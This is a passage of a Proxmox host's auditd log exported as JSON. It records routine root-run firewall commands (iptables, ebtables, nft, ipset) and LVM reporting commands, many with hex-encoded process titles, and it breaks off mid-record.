{"@timestamp":1781966305804,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966305.804:69249): proctitle=69707365740073617665"} {"@timestamp":1781965071644,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.644:63965): arch=c000003e syscall=280 success=yes exit=0 a0=12 a1=7d8b6df1222b a2=0 a3=1000 items=1 ppid=442 pid=61413 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"(udev-worker)\" exe=\"/usr/bin/udevadm\" subj=unconfined key=\"T1070.006_time_change\""} {"@timestamp":1781965285435,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.435:64965): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966305798,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966305.798:69248): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965071642,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.642:63964): arch=c000003e syscall=280 success=yes exit=0 a0=12 a1=7d8b6df1222b a2=0 a3=1000 items=1 ppid=442 pid=61413 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"(udev-worker)\" exe=\"/usr/bin/udevadm\" subj=unconfined key=\"T1070.006_time_change\""} {"@timestamp":1781965285429,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.429:64964): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966305791,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966305.791:69247): proctitle=\"ip6tables-save\""} {"@timestamp":1781965071640,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.640:63963): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b1832720 a1=5b65b1848490 a2=5b65b18b63a0 a3=0 items=3 ppid=61413 pid=61416 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vdev_id\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285421,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.421:64963): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966305784,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966305.784:69246): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965071636,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.636:63962): arch=c000003e syscall=59 success=yes exit=0 a0=5599a41e078c a1=7ffe707000a0 a2=7ffe70700508 a3=7ffe706fff70 items=3 ppid=61249 pid=61415 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"pve-bridgedown\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285413,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.413:64962): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966305778,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966305.778:69245): proctitle=\"iptables-save\""} {"@timestamp":1781965071631,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.631:63961): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b1832720 a1=5b65b18481e0 a2=5b65b1883b00 a3=0 items=2 ppid=61413 pid=61414 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"dmsetup\" exe=\"/usr/sbin/dmsetup\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285407,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.407:64961): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966305771,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966305.771:69244): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965066669,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965066.669:63960): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61412 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285401,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.401:64959): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966305762,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966305.762:69243): proctitle=\"ip6tables-save\""} {"@timestamp":1781965066663,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965066.663:63957): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61411 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285397,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.397:64958): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966305757,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966305.757:69242): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965065700,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.700:63954): arch=c000003e syscall=59 success=yes exit=0 a0=64e2fc537d70 a1=64e2fc543b70 a2=64e2fc511680 a3=5 items=2 ppid=61404 pid=61410 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285391,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.391:64957): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966305751,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966305.751:69241): proctitle=\"iptables-save\""} {"@timestamp":1781965065695,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.695:63953): arch=c000003e syscall=59 success=yes exit=0 a0=64e2f82f3ac8 a1=7ffd31b075a0 a2=64e2fc511680 a3=64e2f82d724e items=2 ppid=61404 pid=61406 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285386,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.386:64956): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966304474,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966304.474:69240): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965065695,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.695:63952): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd31b07560 a1=64e2fc533410 a2=64e2fc511680 a3=5 items=2 ppid=61404 pid=61405 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285378,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.378:64955): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966304442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966304.442:69239): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965065686,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.686:63950): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61404 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285373,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.373:64954): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966301127,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966301.127:69238): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065673,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.673:63949): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61403 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285366,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.366:64953): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966301127,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966301.127:69237): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065660,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.660:63948): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61402 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285360,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.360:64952): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966301127,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966301.127:69236): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065643,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.643:63947): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61401 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285356,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.356:64951): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966301117,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966301.117:69235): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065632,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.632:63946): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61400 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285352,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.352:64950): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966301117,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966301.117:69234): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065629,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.629:63945): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=58e9ea21b740 items=0 ppid=1156 pid=61399 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965285352,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.352:64949): argc=1 a0=\"date\""} {"@timestamp":1781966301117,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966301.117:69233): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065626,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.626:63944): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f9120 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61399 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285348,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.348:64947): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966296108,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966296.108:69232): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065619,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.619:63943): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e2c00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61398 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285340,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.340:64946): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966296108,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966296.108:69231): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065609,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.609:63942): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc148c90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61397 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285333,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.333:64945): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966296108,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966296.108:69230): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065599,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.599:63941): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ec9c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61396 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285328,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.328:64944): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966296094,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966296.094:69229): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065592,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.592:63940): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148c90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61395 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285320,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.320:64943): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966296094,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966296.094:69228): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065582,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.582:63939): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e1bb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61394 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285312,"@rawstring":"node=pve type=EXECVE msg=audit(1781965285.312:64942): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966296094,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966296.094:69227): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965065567,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.567:63938): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61393 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965284612,"@rawstring":"node=pve type=EXECVE msg=audit(1781965284.612:64941): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966295744,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966295.744:69226): proctitle=\"ebtables-restore\""} {"@timestamp":1781965065554,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.554:63937): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61392 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965284585,"@rawstring":"node=pve type=EXECVE msg=audit(1781965284.585:64940): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966295741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966295.741:69225): proctitle=\"ebtables-restore\""} {"@timestamp":1781965065550,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.550:63936): arch=c000003e syscall=59 success=yes exit=0 a0=5da3c27670a0 a1=5da3c2763e20 a2=5da3c2745680 a3=5 items=2 ppid=61385 pid=61391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965282426,"@rawstring":"node=pve type=EXECVE msg=audit(1781965282.426:64939): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966295737,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966295.737:69224): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965065543,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.543:63935): arch=c000003e syscall=59 success=yes exit=0 a0=5da3b6f7fac8 a1=7fffdd2e25e0 a2=5da3c2745680 a3=5da3b6f6324e items=2 ppid=61385 pid=61387 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965282421,"@rawstring":"node=pve type=EXECVE msg=audit(1781965282.421:64936): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966295734,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966295.734:69223): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965065542,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.542:63934): arch=c000003e syscall=59 success=yes exit=0 a0=7fffdd2e25a0 a1=5da3c274c310 a2=5da3c2745680 a3=5 items=2 ppid=61385 pid=61386 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965277412,"@rawstring":"node=pve type=EXECVE msg=audit(1781965277.412:64933): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966295734,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966295.734:69222): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965065530,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.530:63932): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61385 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965277404,"@rawstring":"node=pve type=EXECVE msg=audit(1781965277.404:64930): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966295733,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966295.733:69221): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965065516,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.516:63931): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61384 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275300,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.300:64927): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966295729,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966295.729:69220): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965065501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.501:63930): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61383 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275296,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.296:64926): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966295721,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966295.721:69219): proctitle=69707365740073617665"} {"@timestamp":1781965065491,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.491:63929): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2e40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61382 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275294,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.294:64925): argc=1 a0=\"date\""} {"@timestamp":1781966295718,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966295.718:69218): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965065476,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.476:63928): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f4860 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61381 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275290,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.290:64923): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966295712,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966295.712:69217): proctitle=\"ip6tables-save\""} {"@timestamp":1781965065460,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.460:63927): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d890 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61380 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275284,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.284:64922): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966295706,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966295.706:69216): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965064940,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965064.940:63926): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740a110 a1=64f8d73b4b20 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61379 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275274,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.274:64921): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966295700,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966295.700:69215): proctitle=\"iptables-save\""} {"@timestamp":1781965064911,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965064.911:63925): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c29c0 a1=64f8d73ef2f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61378 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" 